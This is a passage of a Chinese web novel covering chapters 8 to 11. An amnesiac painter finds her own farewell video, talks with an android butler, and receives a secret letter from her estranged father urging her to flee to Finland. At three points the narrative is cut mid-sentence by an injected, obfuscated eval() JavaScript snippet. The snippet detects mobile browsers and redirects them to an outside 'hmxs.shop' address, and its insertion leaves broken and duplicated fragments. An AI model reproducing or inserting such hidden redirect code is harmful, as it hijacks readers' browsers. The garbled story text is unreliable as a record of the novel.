随着“滴”一声响,芯片被读取,里面是卫浅枝录下的一条遗言视频。点开视频,一个面色苍白、身形消瘦的女子就端坐在镜头前,露出浅浅的笑容。 这是我吗?浅枝心中忽然涌起奇异的感受。画面中的女子纵使面容疲惫,眼中也只有平静和淡然,像是在交代一件无关痛痒的小事一般。 “我叫卫浅枝,今年26岁,是一名职业画师。我从小在祝岭江长大,很幸运能在这片充满希望的土地平安顺遂成长到今天…… “生老病死,我直接跳过了老的阶段,如今已经离死不远了吧。我有很多想要道别的人,只可惜不能当面和他们一一说再见了。凌是我最好的朋友,她心智坚强,我想她可能是最能接受我死亡的人。所以,我想拜托凌将我火化后的骨灰洒在一片荒无人烟的原野上,无需立碑,也无需人祭拜。新寒是我的爱人,他陪了我很久,我最不忍心和他说离别。如果有一天他找到这个视频,就说明我已经离去了。庄子妻死,尚箕踞鼓盆而歌。生离死别不过常事,希望他不必悲伤,也不必惦念我。 “其实我还有一个很想很想见到的亲人,自他出国后,我们就再没了音讯。我不能确定他是否能收到我逝世的消息,也不敢去想他是否能回来送我一程。曾经有一人说我和母亲均是薄命寡亲之命,没想到灵验至此。如果我死时他不曾回来,以后也不必再念我祭奠我了,就像对待母亲那样吧。” 女子注视着镜头沉默了片刻,忽然笑了,眼睛变得异常清明:“可是,如果看见视频的是你,就说明我已经度过眼前这个难关,真正活了下来。希望你能接替这样颓废的我活下去,谢谢你,亲爱的……” “浅枝”两个字她并没有发出声,只有嘴唇沉默的一张一合。脑中一阵嗡鸣,她盯着那双眼睛,后背猛地泛起一阵寒意,似乎有什么东西身后注视着她。“滴”,不知道哪里传来一声响,她慌张地回头,却是什么都没有发现。 她是我,我是她。她使劲揉搓着自己的脸,柔软的手感无比真实。她真正活下来了,可是为什么她这样恐慌,就好像卫浅枝已经死去一般? 8. 矛盾 “浅枝!”浑浑噩噩的,浅枝不知道自己在书房中呆坐了多久,直到许新寒焦急的呼喊声将她惊醒,她慌忙拷贝了一份私密储存,又将芯片随手塞进了《庄子》某一页中。 叩门声不断响起,声音越来越大,浅枝刚打开门,许新寒就一把将她搂在怀中。她抬头看了一眼,卫都正站在楼梯拐角处,一脸担忧地看着她。 许新寒捧起她的脸,看见了她眼中的迷茫神色。 “你怎么了?”许新寒牵着她走进书房,扫视一眼,一对沉重的翡翠镯子正搁置在书桌上,旁边是一张十寸的照片。 浅枝松开他的手,拿起全家福递给许新寒,语气唏嘘:“这是我今天找到的东西,这张照片和镯子是我唯二拥有的和妈妈有关的东西。你不觉得很可怕吗?那么多年的夫妻,遗物他说带走就带走了,一点也没给子女留下做念想。” 许新寒接过全家福,一时愣在原地。 “这是,”他顿了顿,口型模拟着一个她看不懂的名词,“藏下来的?” 浅枝下意识皱了皱眉:“是我以前留下的。” “以前留下,但是没有告诉我,”许新寒伸手摩挲着全家福上的小姑娘,口中喃喃,“为什么不告诉我?难道我还不值得你的信任吗?” 浅枝第一次看到许新寒失态,她看着他的目光涣散,眼中闪着泪光。他只是捏着照片不肯放手,却没有抬头看一眼身边的人。浅枝能理解他激动的情绪,可眼前的许新寒身上却有一种明显的违和感。她能察觉出,他的质问针对的不是现在的自己,而是以前的她。在她恢复记忆之前,这是一个无法回答的问题,即使她就是卫浅枝。 可是如果让现在的她来做这个选择呢,她会怎么做?她似乎也瞒了他,比如那片被她塞到书里的芯片。 她察觉到了芯片背后有很多矛盾的地方。卫浅枝的遗言中分别交代了三个人:陈凌、许新寒和自己。这代表了这三人应该能独立找到这张芯片,并履行遗言。但现实是,如果没有浅枝,这张芯片就不可能被找到,因为卫都是最后一层保险,而且他只会保障浅枝。陈凌和许新寒只是加快了这一进程,如果没有他们,浅枝顶多花的时间长些,最终还是会找到芯片的。 浅枝很在意这个矛盾,这一套流程摆明了就是要让自己找到,可是如果她死了呢,她的遗言就会永远埋葬在地里,陈凌和许新寒怎么会知道呢? “许新寒,那是过去的事情了,我……” “够了!”许新寒突然直起身子,他的眼睛变成了深潭一样沉寂的黑,“为什么不相信我?为什么?” “不是的,我没有。”浅枝没法解释,只能一遍遍地解释自己没有不相信他。 “抱歉,我累了。”许新寒全身像是被卸尽了力气,于是回到了自己房内休息。 浅枝知道许新寒计较的是当年的自己,只是他一时没想通而已。她忽然觉得有些挫败,即使是同一个人,过去也会被怀念吗?以前的卫浅枝确实非常完美,但现在的她什么都不会,除了一双过目不忘的眼睛。许新寒好像有些失望,不过浅枝不打算放弃,她一定要找回当年的记忆。 “浅枝,你有没有想过,这是对爱人记忆的一种独占。”许新寒曾经试图站在卫执角度思考过他带走莫熠所有遗物的原因。 “销毁一个人曾经的生活痕迹,这里就没有人能证明她曾经的存在。带着她的遗物去往国外,那里更没有人能证明斯人已去的事实。这样,他就能独占两人的记忆,只有他有怀念的资格。 “一个人对另一个人的记忆能保留多久,她死后,除了最亲的人,会有多少人记得她?如果不留下一些痕迹,恐怕亲人也会渐渐淡忘的。” 不再温柔的许新寒似乎变成了另一个人,但这也是真实的他。这样也好,给彼此一点时间和空间,在这件事情彻底得到解决之前,让她有足够的精力去调查当年的真相。背负了责任和亏欠,即使和不爱的人生活一辈子,浅枝也是可以接受的,她从没想过要离开许新寒。 每日的新闻仍在滚动,大到国家大事,小到市民生活。网络的信息,爆炸式地向她涌来,好似把她推成了一粒高处的尘埃。她面无表情地翻阅报纸,被筛选的信息精简而紧实,让人卖力地咀嚼吞咽。 她在报纸上看到了熟悉的名字——钟简行。他还未出院,就传出东垒同他签约的消息,和陈凌最开始说的根本不是一回事。钟简行资质平平,本来毫无希望进东垒旗下车队,如今出了意外又伤了腿反而被招进去了,听上去怎么都觉得讽刺。 浅枝想不通东垒这个举动,也不确定这是江景才的意思。不过钟简行出院的消息倒是让东垒又借机做了一波宣传,出镜最高的还是圈里人尽皆知放浪不羁的江景才,他的势头一直在他姐江景方之下,如今不争不抢的倒是获得了不少关注度。 夜晚,浅枝坐在门前的草地上,卫都也坐在一旁陪着她。今天是十五,明亮的月亮悬挂在空中,不远处的邻居正在举行派对,灯光将这一片照得如同白昼。 “小姐不高兴吗?”卫都注意到,自从下午许新寒离开书房后,浅枝就变得面无表情。她像是毫不在意一般地阅读报纸,或是拿着镯子和卡牌反复研究,连晚餐都没有叫许新寒一起吃。他觉得浅枝不高兴了,可是她的反应却是那么淡,让他捉摸不透。 浅枝摇摇头,对卫都露出一个微笑:“卫叔您别太担心我,我只是在想妈妈的事。芯片里只有我的遗言,即使拿到那些东西,我也不明白当年到底发生了什么。” “为什么一定要知道呢?现在的您生活很好,未来也会很好,何必去寻找这些久远的事情呢?” 这个问题她也问过自己,稀里糊涂也能过一辈子,就像她和许新寒的感情一样,可是她总是不甘心。缺失了记忆的她总觉得自己是不完整的存在,要知道自己从哪里来,才能知道自己会往哪里去。 她没有回答这个问题,只是转移了话题:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050036|194805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫叔,在您心里,许新寒是一个什么样的人?” “许先生是一个很优秀的人,对小姐很好,先生和夫人都很喜欢他。” “那您喜欢他吗?” 卫都也只是笑笑:“我并不需要知道他是一个怎样的人,也不需要喜欢他。一个人何其复杂,即使是他的生身父母和终身伴侣也无法了解他的全部,更何况是一个旁观者呢?只要他珍视小姐我就放心了。” 浅枝垂眸不语,她不知道该如何表达心里的感受,她可以倾诉的人太少了,管家算一个,只可惜他不是真正的人类。一个仿生人,他能体会到爱这种情感吗?他能理解人的那些奇怪想法吗?这样想着,浅枝也问了出来。 “当然。人类所表达过的所有关于‘爱’的语言,都存储在我们的脑中。爱是什么,我可以有一亿种回答。” “不不,”浅枝摇摇头,“知道和理解不一样,我想知道您能不能理解这种感情?” “小姐也太小瞧我们了,”卫都了然笑笑,“如果我们不能理解感情,如何与你们共情?生灵万物都是有情的,我们自然也是。你们能相信动物有灵,为什么不能相信我们也有灵呢?我看着小姐从小长大,直到订婚,我虽然没有经历过爱情,但是对你们的爱一点都不曾少过。” 卫都是一个仿生人,他的外表、语言、动作几乎可以达到以假乱真的程度。浅枝每次看着他,就像是看见一个真实的长辈一样,可是理智又告诉她,他不过是一个仿生人罢了,作为管家,他所有的价值都来源于他的主人。 “那卫叔,您也能拥有爱情吗?” “本该有的,但不会有。”浅枝看着他湛蓝的眼睛,似乎明白了一些。仿生人将自己当做人,所以才会觉得应该会有,但是在他们被创造之初,创造者就剥夺了他们的这种感情。有私人的爱,就会有欲望。有欲望,就会为了私人,然后,一发不可收拾。 “谢谢您。”浅枝抱了抱他,感受到对方的温度,她的心情似乎没有那么糟糕了。 许新寒在房间里待了半日,书桌上铺着一张戛然而止的乐谱,那是他上午的创作。他找出卫浅枝小时候的照片,放在桌上仔细查看。少时的记忆挣扎着从脑海中挤出,喧嚣着想占领他思想的每一个角落,悲伤、不甘、绝望、愤怒,无数感性的情绪将理智完全包裹,他的眼睛似乎要变成骇人的红色。 “浅枝,救我!”他的心中只有一个声音,可他无法宣之于口,卫浅枝听不见,当然也不可能听见他在呼唤她。 电话铃声突然响起,看着上方悬着的名字,他所有的情绪似乎在一瞬间回笼,如同名为情感的藤蔓挥舞着万千枝叶,迅速伸缩回枝干的怀抱。 “喂……” “嗯,我知道了,我会尽快带她回来的。” 天已入夜,他透过窗子看见了浅枝和卫都并肩而坐,两人似乎在讨论着什么,然后浅枝抱了抱卫都。他的唇边浮现出一丝笑意,带着嘲讽的笑意。 9. 园丁 翌日傍晚,许新寒邀请浅枝去祝岭江边走走,浅枝答应了他。许新寒又恢复成温柔的模样,就好像昨天的情绪失控只是一个错觉。 落日的霞光洒在江面上,有着浮光跃金的美。几艘中型货船在平稳的江面上缓缓航行,火红的旗帜和霞光交相辉映。 感受着温柔的江风,在一团喧闹的,夹杂着儿童嬉笑、爱人呢喃和空灵歌声的氛围中,浅枝仿佛感受到了祝岭江的意义。这就是孕育祝岭市的母亲河,祝岭江穿城而过,留下宽阔的江道,大桥如同巨兽横跨在江面上,连接川流不息的城市两端。 “看来失忆还是有些好处的,比如我行走在这里,就不觉得这是我看倦了的风景,反而觉得新奇。”浅枝漫步在江边,不知道想了些什么,唇边溢出些许温柔的笑。 景看新,人看旧,两人都很默契地不再计较那些。许新寒眨着温柔的眼眸,轻握住她的手:“我答应你,以后你想去哪里,我都陪你去。” 卫都看着两人并肩出入的身影,知道他们的矛盾已经解决了。虽然不知道他们的矛盾来自哪里,但是能这么快解决也是一件好事。他后知后觉地想起自己,永恒的寿命,永恒的孤独,永恒的牺牲和责任,这是创作者给他的恩赐,也是赐给他的永恒枷锁。 “我们回旬安吧。”他们已经回来一个月了,到了浅枝照例复查的时间。 在离开祝岭前,浅枝还想见陈凌一面,可惜她又去了外地。她总是在奔波,像是拼了命地想去证明什么。 “你不记得了。”曹平春摇摇头,开始追忆那些过往。 陈凌认识卫浅枝比许新寒略微要晚一些,但也陪了她十多年。那是不太美好的相见。陈凌小时候个子比较小,家境远远没有如今这么好,同学们常常笑话她的小个子,被打击的她压抑着自己的性格和脾气,面对羞辱从不还嘴,直到认识卫浅枝。卫浅枝性子高冷,家境殷实,护花使者又多,敢得罪她的人很少。 “跟我走吧。”卫浅枝只是朝她伸出一只手,陈凌就再也没有遭受过明面上的笑话。她也变成了卫浅枝的护花使者。 “你知道吗?”曹平春扭头去看浅枝,“曾经有人在暗地里嘲笑陈凌,说她是你的一条狗,被她无意间听到了。她没有哭,也没有生气,我看见她面无表情地从他们身边经过,没过几天,那三人就被学校记了过。” 浅枝嗫嚅着唇,最终却什么都没有说。任何言语去评价这段经历似乎都显得苍白,尤其是对于失忆的她来说。日记本里没有这一段记录,她不知道以前的自己是否知道过这桩事。但她曾说过,凌是一个很聪明的人,她的满腹谋略都藏在乖顺的模样之下,那些谋略会变成匕首去对付对手,却永远不会回头面对她的朋友。 后来的卫家和陈家似乎颠倒过来,在莫熠离世、卫执出国后,卫家在祝岭市财富百家排行榜上不断下跌,陈家却蒸蒸日上,一跃进入前十,如今即将进入前五。随着陈家不断兴盛,陈凌也变得自信大胆,更是在毕业两年后一手接管了集团的一个分部,如今也是小有名气的企业家。 “平春,你在想什么?”浅枝看向微微出神的曹平春。 “我在想,”她的眼里似乎有悲伤的情绪,“如果早一点遇见就好了。” 浅枝回来的时候,有很多朋友来迎接她。她离开的时候,却没有送别的人。大家都太忙了,她并没有告诉朋友们自己回旬安的事,也不觉得有什么遗憾,反正终究会再见的。 临走那天,她站在更衣室里换上许新寒为她挑的衣服——一身水绿色长裙,简约到没有任何设计,但它的布料足够舒适,裁剪得当到挑不出一丝不合。 许新寒不知道什么时候走了进来,冰凉的白钻贴着她的脖颈,一条项链已经戴在她的脖子上。他的双手搭在浅枝的肩膀,温柔地注视着镜中的卫浅枝。浅枝看着镜中一对檀郎谢女,突然感觉自己非常陌生,陌生到她将自己从这具身体中抽离出来,躲在角落里窥视着他们。 这种想法太过荒唐,许新寒适时握住她的手,她的思绪回笼。 离别时,浅枝抱了抱卫都,告诉他自己很快就会回来。然后她坐上了回旬安的小型航空器,行李中藏着仔细那本包裹着的《庄子》和翡翠手镯。 飞行途中,浅枝总是回头望向祝岭的方向,许新寒知道她舍不得,没有再用“我们很快就会回来”这样的话来宽慰她,只是握住了她的手。在交通如此发达的今天,全世界的任何一个角落到达都很容易,更何况相隔才几个小时的祝岭和旬安,但浅枝心里总有些惴惴不安。 “我找到了2009年5月29日的全家福,还有妈妈的一件贴身遗物,这些东西是我以前藏下来的,你要看看吗?”端正地坐在电脑桌前,随着一字一顿的机械声,浅枝再一次给父亲发了邮件,还附上了全家福的照片。如果自己的病重垂危都不能让他回头,恐怕只有母亲的信息才能获得他的片刻注意。 发完邮件后,她又反复地摆弄着三件物品,似乎要在它们身上盯个洞出来。如果以前的自己真的想留下有关事实全貌的线索,那这三件东西就不该只是表面这么简单。问题到底出在哪里,她抠着照片塑封,用她贫瘠的认识天马行空地想象着。 浅枝的想法不断跑偏,已经到了和最初推断相矛盾的地步。最开始拿到这两个盒子的时候,她立即意识到以前的自己根本没想为难她,但她现在又草木皆兵,疑神疑鬼地抠弄着那些边边角角,甚至还怀疑上了两个盒子上还藏有线索。 不过芯片这个物件她一直没有告诉许新寒,现在自己好生生地站在他面前,带他一起看自己的遗言视频怎么说都十分怪异。算了,还是哪一天自己要先走一步再告诉陈凌和许新寒吧。 《庄子》挺好的,什么都能装下。 旬安九号研究院浅枝已经很熟悉了,也不用许新寒特意陪她过来。除了门卫,她还结识了一个二十出头的研究员,她叫付宁安,给自己录过几次数据。付宁安很活泼,对浅枝很亲近,浅枝也很喜欢她。 “既然有九号研究院,那也会有一号至八号咯,其他的城市里也会有这样的研究院吗?”浅枝不知道脑中为什么会突然冒出这样一个问题,但既然想到了,她也就顺口问出来了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050037|194805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 坐在对面的付宁安正笑盈盈地看着她,听了她的话也只是耐心地解释:“每座城市都有呀,而且不同编号的研究院代表着不同的研究方向,我们研究院就是专门做生物技术的。” 浅枝点点头,又思索了一会儿,继续问道:“研究院也收其他病人吗?” “断断续续的一直都有,不过很少,毕竟咱们这里又不是医院,院长也从来不给他们做手术。卫姐姐你是最幸运的了,就是不知道什么时候院长会把你的那次手术当成案例讲解给我们听呢。”看着付宁安一脸期待的表情,浅枝只是笑笑,再没问别的问题。 大概过了半个多小时,罗谨微那边才忙完,打电话给付宁安,让她通知浅枝过去。 “卫姐姐,院长让我去实验室录数据,我不能陪你一起去了,你一个人可以吗?”付宁安又给她重复了一遍路线。 “放心吧,基本的路线我还是熟悉的。” 路过植物园时,浅枝看见了一个十七八左右年纪的男生,身形有些瘦,一手提着空桶,一手拿着铁锹,静默地站在灌木边。他紧紧地盯着自己,眼里满是警惕与恐惧。 浅枝环视了周围一圈,除他们两人以外并没有旁人,才意识到对方在防备自己。前几次来研究院并没有看见这个孩子,她知道自己在患病时也在研究院待过一阵,难道那时自己给他留下了不好的印象? 这个男生一动不动,实在是有些奇怪。于是她缓缓走到他面前,微笑着问他:“你在这里工作吗?” 男生深深看了她两眼,没有回答,忽的提着桶就跑远了。 真奇怪。浅枝眨眨眼,直起身子偏了头去想些什么,一转身就看见罗谨微站在走廊处,正静静望着自己。罗谨微的眉眼总是露出淡淡的笑意,但给人的感觉却十分疏离,一点也亲近不起来。 “院长,”浅枝朝他点点头,“麻烦您了。” “走吧。”罗谨微收起笑容,转身就朝主楼走去。浅枝默默跟在他身后,气氛有些沉闷,她想着打破沉默,便问起了刚才的男生。 “他叫吴松,是研究院唯一的园艺工,在这里待了两年,今年十八岁。他患有哑疾,性子也冷淡,平常和人接触少,但是个好孩子。”罗谨微侧头看了一眼不远处的灌木丛,丛中发出微微的晃动,不知道是风的吹动还是有什么东西藏在后面。 浅枝注意到他的年龄:“十八岁?那他参加工作的时候才十六呀,没有读书吗?” “他的条件不是很好,两年前辍学来旬安找工作,也吃了不少苦头。我看他年纪小,就留了他在研究院,这里的人际关系简单,工作不多,有空的时候他也可以读书学习。” “但他好像对我很防备,还有点怕我,这有什么缘由吗?”浅枝又问。 罗谨微回头看她一眼,笑道:“你以前都没见过他,哪里有什么缘由?这个年龄段的孩子有些防备是很正常的,你不用多想,也不用对他有偏见。” 原来以前没有见过啊。吴松对她的态度看起来确实有些反常,不过看在院长这么信任他的份上,希望他本身没有什么恶意吧。 10. 阿乔 回到检查室,罗谨微给她倒了一杯水:“这次回旬安,记起什么了吗?” “什么都没有记起来,不过遇到了一个感觉有点熟悉的人,”对着罗谨微略有惊讶的眼神,她继续说道,“但他不认识我。哦,有一次我做梦还梦到他了,挺奇怪的。” “梦到了什么?”听她又讲起自己的梦,罗谨微记录的手一顿,捻了捻指尖才继续写下去。 “梦到我和他关系还不错,他说他要带我走。可是我的朋友们都不认识他,许新寒也不认识。可能我以前看过他的比赛,对他有点印象?”说到最后浅枝都不太肯定了,就算是看过比赛,对他的印象也不会比父母朋友更深刻吧。 罗谨微沉默地听着,半晌没有说话,不知道为什么,浅枝觉得他的情绪似乎有些低落。难道是这几天的研究过程不太顺利,影响到他的心情了?浅枝抬头去打量他,他垂眸的时候虽然没有笑容,但是看起来似乎比平时微笑的时候更让人觉得亲切。 或许是察觉到她的视线,罗谨微一抬眼,正好同她四目相对。眼神交汇的一瞬间,他的心脏开始收缩,似乎有一种狂妄的情绪从心底破土而出,喧嚣着让他去承认那些不理智的情感。 他不该是这样的,他要做的事情还有很多,还有人在等着他。他闭了闭眼,压抑下翻滚的情绪,再看向浅枝时又恢复成冷静的心绪。 “院长,你是不是不太高兴?”浅枝忍不住开口。 罗谨微看出她眼中的担忧,心里不受控制地泛起密密麻麻的酸涩。他不是第一次失控了,连收敛情绪都已经足够熟练,但他还是抑制不了自己的心。于是他勉强笑着问她:“有吗?你为什么觉得我不开心?” “一点感觉而已,说不上为什么。或许是我想错了,院长不必把我的话放在心上。” “谢谢你关心我。我这几天研究有些阻滞,心里难免忧虑,希望没有影响到你的心情。” 果真如此,浅枝点头安慰道:“我相信院长,一定会有进展的。” 家里新添了一个生态水缸,几条金鱼在水里快活地游来游去,浅枝正目不转睛地追随着金鱼的踪迹,看它们时而一动不动,时而活泼嬉戏。 “浅枝,陪我去吧。”陶谷秋的生日宴就在一周后,只有许家接到请柬,所以浅枝不打算赴宴。 “不去,我又没有请柬,若是那天拦住我了,岂不是个笑话?”浅枝往缸里撒了一把饵料,鱼儿立即争先恐后地游了过来,嘴巴一张一合的煞是可爱。 “可以带家眷的。”许新寒又说。 浅枝抿着唇,她不喜欢家眷这个称呼用在自己身上。她是个成年人,不是需要大人监护的孩童。她叫卫浅枝,不是许家人。 许新寒看出她的不满:“那我让陶家再给你写封请柬?” 浅枝很快放下情绪,回头看着许新寒:“算了,我没有耐心去给不认识的人准备礼物。而且你们家和她家关系也平平,你去说这些,别人怕是要对你们许家有意见了。” “那你肯陪我一起去了?”许新寒笑着揽过她的肩,说他才知道陶谷秋的生日宴邀请了他的新朋友乔。乔是一名亚裔钢琴家,三年前获得了肖邦国际钢琴比赛的冠军。 “他想结识你。”许新寒说。 浅枝惊讶:“为什么?我和他没有一面之缘吧?” “我给他看过你的画作,他很欣赏。这次宴会后他就要离开了,下次再见面不知道是什么时候,我想这个机会我们还是不要错过了。而且陈凌和曹平春她们不是都接到了邀请吗?到时候有熟人在,你也不用拘谨。” 浅枝思虑良久,最终点了点头。 陶家在旬安非常阔,仅仅只是一个待客别墅建得就和城堡一般,在市中心一众的特色建筑中都是耀眼的存在。这是否太过于高调了?浅枝甚至有些隐秘的猜想。 宴会内外场地的设计都十分规矩仔细,厅内更是金碧辉煌,还专门建了一个演奏区,如音乐厅一般布置,只厅内一角的装饰就足以让人眼花缭乱。不说卫家,只算许家,就已经是显赫的富贵人家,如今和陶家一比,简直是云泥之别,难怪陈凌和陶谷秋竞争一块地都那么头疼。 浅枝和许新寒进入宴会时,已经来了不少宾客,车马在露天车库肆意地停满了。两人走进大厅不久,陶谷秋就向朋友点头表达失陪意,接着朝他们走来。 “新寒,浅枝,好久不见。”陶谷秋笑着同二人打招呼,举止十分大方优雅。 “生日快乐。”许新寒将礼物递给一旁的应侍生。 许新寒要去拜访陶家长辈,浅枝心中还因为请柬生气,懒得陪他去到处拜访,只关注着陈凌曹平春有没有到。宴会上也有一些朋友,浅枝都和他们打过招呼,这才知道她们因为公务脱不开身就没有赴宴,不过还是托专人送来了礼物。至于礼物是什么,浅枝并没有打听。 “没想到阿乔会赴陶家的宴,整个旬安能请得动他的应该不足十家吧。” 一人轻笑一声,伸出一只手:“保守点,五家,还得看别人有没有时间和兴趣。” 他们这样的描述让浅枝对陶家有了更深的认识,也对许新寒的新朋友阿乔更为好奇。他为什么会对自己好奇呢?许新寒说他很欣赏自己的画,可是她现在失去了记忆,如果交流起来恐怕不会太尽兴。 没过多久,宴厅中央走出一位穿着简约衬衫配西裤的高个儿男子,对伴奏团微微颔首后自然就坐在了钢琴边,场内原本演奏的音乐适时停下,将主场交给了他。浅枝原本随便找了个座位坐着,没想到离他那么近,近到可以看清他的容貌,高鼻深目,碧色瞳仁,面部长相同亚洲人差别并不大,但一双碧色的眼睛却很特殊。 他应该就是阿乔。他先是弹奏了一支大众圆舞曲,他在弹琴时,脸上挂着明朗的笑容,眉梢微微上挑着,显得十分自信,这是她在许新寒脸上看不见的神情。 一曲弹奏完毕,阿乔抬头忽然朝浅枝这边望来。他笑着朝浅枝眨眨眼,停顿稍许,又开始按下了琴键。与刚才那支欢快的曲目不同,这次他演奏的曲子要舒缓平和很多。这是他新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050038|194805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作的曲子,包括浅枝在内的绝大多数人都没有听过。 “卫小姐,你好,我是乔。”不知道什么时候钢琴边的演奏者已经换了人,而阿乔就坐在浅枝身边。 “你好。”浅枝微笑着同他握了手。 “很高兴认识你。我曾经在新寒的引荐下有幸观瞻过卫小姐的画作,色调平和,笔触细腻,风景很有灵气,我非常喜欢。”阿乔上来就是一顿夸耀。 “谢谢。没有想到能和乔先生遇见,很有缘分。” “不是缘分,”阿乔笑着摇摇头,看着迷茫的浅枝,又凑到她耳边,“如果不是新寒和令尊,我们恐怕不会遇见。” 浅枝瞬间变了脸色,眼睛紧盯着大厅中央舞动的脚步,说不出话来。 阿乔忽略她的神情,继续说着:“令尊是一位很特别的长辈,同我只和朋友那般相处,我很敬重他。” 浅枝尽力消化着这一重磅信息,愣了一会儿才小心问道:“他提起过我?” “当然,这次我来陶家宴会他也知道,还托我给你带一封信。”阿乔说着从怀中抽出一封薄薄的信,递到浅枝手中。 浅枝简直不敢相信,捏着信封的手缩了缩。父亲终于给自己回信了,可是他为什么要托人送信呢?自己明明给他发过两封邮件,好好的邮件不用,却找人递交书信,实在反常。她忽然紧张起来:难道他受到了胁迫,现在处境很危险? “你父亲很好,没有被绑架,倒是你的处境……”阿乔眯了眯眼,又警惕地看了一眼周围,摇摇头,“可能不太好啊,这也是你父亲托我送信的原因。” 浅枝也慌忙打量四周,自己只是一个大病初愈的人而已,难道也会被人针对? “危险不在宴会上,”阿乔按住了她的手,又向她凑近了些,越发小声,“卫小姐可要把这封信藏好了,拿回去后悄悄看,千万别告诉任何人,就连新寒也不能说。” “他在哪里?”浅枝没有立即答应阿乔,她首先要确定这个信息的真实性。 “都在信里。”阿乔点了点她怀中的信。 “我怎么相信你?” 阿乔只是扯了扯嘴角,一副似笑非笑的模样,又伸了一个懒腰,四仰八叉地靠在座椅里:“卫小姐,可不是我在求你。” 浅枝心中沉下几分,没有凭证,她真的很难相信眼前这个人。 “后天上午十点零八分,云滨机场东入口第一个闸口,无论你相不相信我,我都会在那里等你二十分钟,”阿乔伸出两根手指向她比划着,“但是只有二十分钟,小姐可千万别迟到了。哦,我还要提醒你一句,最好回家再拆这封信。宴会上可不是什么好地方,又是别人家,而且我担心你看到信后会控制不住自己的情绪,那可就糟了。” 浅枝猛地抓住他的手腕:“为什么不今天就带我离开?” 阿乔一根根掰开她的手指,朝她挤眉弄眼,示意她去看远处不时投来视线的许新寒:“以我们同他的关系,如果我们消失五分钟,他恐怕就会搜遍宴会的各个角落了。” 11. 出国 接下来的宴会,浅枝一直心不在焉。怀中的信就像一块被贼惦记的玉璧,她不禁变得疑神疑鬼起来,既惦念着怀中的信,又总怀疑有人在窥视自己,实在是坐卧不宁,就连用餐都未能尽兴。直到回家,她紧绷的神经才放松了些。 “浅枝。”浅枝刚拉开房门,许新寒突然叫住了她。浅枝关门的手一顿,开始紧张起来:“怎么了?” “今天的宴会,你看起来有些心不在焉,是发生了什么吗?”许新寒走到她身边,扶着她的肩膀,迫使她转过身来。 “没有啊。”浅枝不自觉眨巴着眼,有些心虚。 许新寒唇角勾出一点笑:“你和阿乔在聊些什么呢?” 浅枝心中一跳,强装镇定道:“乔先生说在你的引荐下曾看过我的画,便随便跟我聊了几句。” “你可从来不会撒谎。”许新寒将她拥入怀中,浅枝感受到他身上的温热,心脏砰砰直跳。 许新寒隔了好久一会儿才开口:“我的未婚妻被人觊觎了,这让我如何不担心呢?” 浅枝不明白他说的觊觎是什么意思,难道他已经知道阿乔让自己出国的消息了?可这分明是他们两人私密的谈话,许新寒怎么会知道? “宴会后期阿乔和我提起你,说是很喜欢你,还问我们是不是真的会结婚,”许新寒紧盯着她的眼睛,似要看出她的情绪,“我这才想起浅枝身边的爱慕者从来没有少过,如果浅枝移情别恋了,我该怎么办呢?” 浅枝反倒松了一口气,已经猜到阿乔这一番话是故意说给许新寒听的,免得自己解释不清楚反而漏了陷。 “怎么会呢?你还不相信我的为人吗?”她用力抱了抱他,像是在给他足够的安全感。 入睡前,浅枝特意检查了门是否锁好,这才小心翼翼地拆开信封。信中除了信纸,还有一条蓝钻项链,她在仅存的那张合照中见过它,是母亲的。 摩挲着项链,她只觉讶异非常,如果自己没有发现那张照片呢?难不成,当年的自己就已经预料到今天这种情况了吗?这也太不可思议了。她甚至怀疑,父亲当年容许了她私藏那张合照。 浅枝思考着宴会上发生的一切,不由得有些恍惚。这些事情有着太多的巧合,比如自己在一年前甚至更早就给自己留下了线索,甚至布局了她寻找线索的整个过程,而父亲又是如何说服阿乔来陶家给她传递消息,而且带了这样一件信物? 她最终压下这些杂绪,先拆开信来看。信应该是父亲寄过来的,她没有不相信的权利。 “我的女儿,很抱歉在你最艰难的时候没有陪在你身边。但是我也有自己的守护,爸爸不奢求你的原谅,只要知道你现在身体健康我就放心了。我收到了你的邮件,知道你对当年的事还耿耿于怀,所以托朋友乔先生接你来芬兰。” 没想到父亲居然去了芬兰,那里的环境和祝岭相差太大,他怎么会选择芬兰呢?浅枝心中疑虑,继续向下阅读。 “我不在国内,所以对你的处境判断不一定准确。但如果真是我想的那样,恐怕许新寒会密切关注你的行程。你有过被窥视或被跟踪的感觉吗?如果有的话,你要多加注意了。我知道时间有些紧张,所以你需要立即作出选择。如果你来找我,我会告诉你当年的所有事情,而且我保证,你在得知真相后一定会心甘情愿留下来。如果你不愿意来芬兰,那就乖乖留在国内继续以前的生活,我留给你的财富足够你一生无忧,只是你我父女恐怕再难重逢了。” 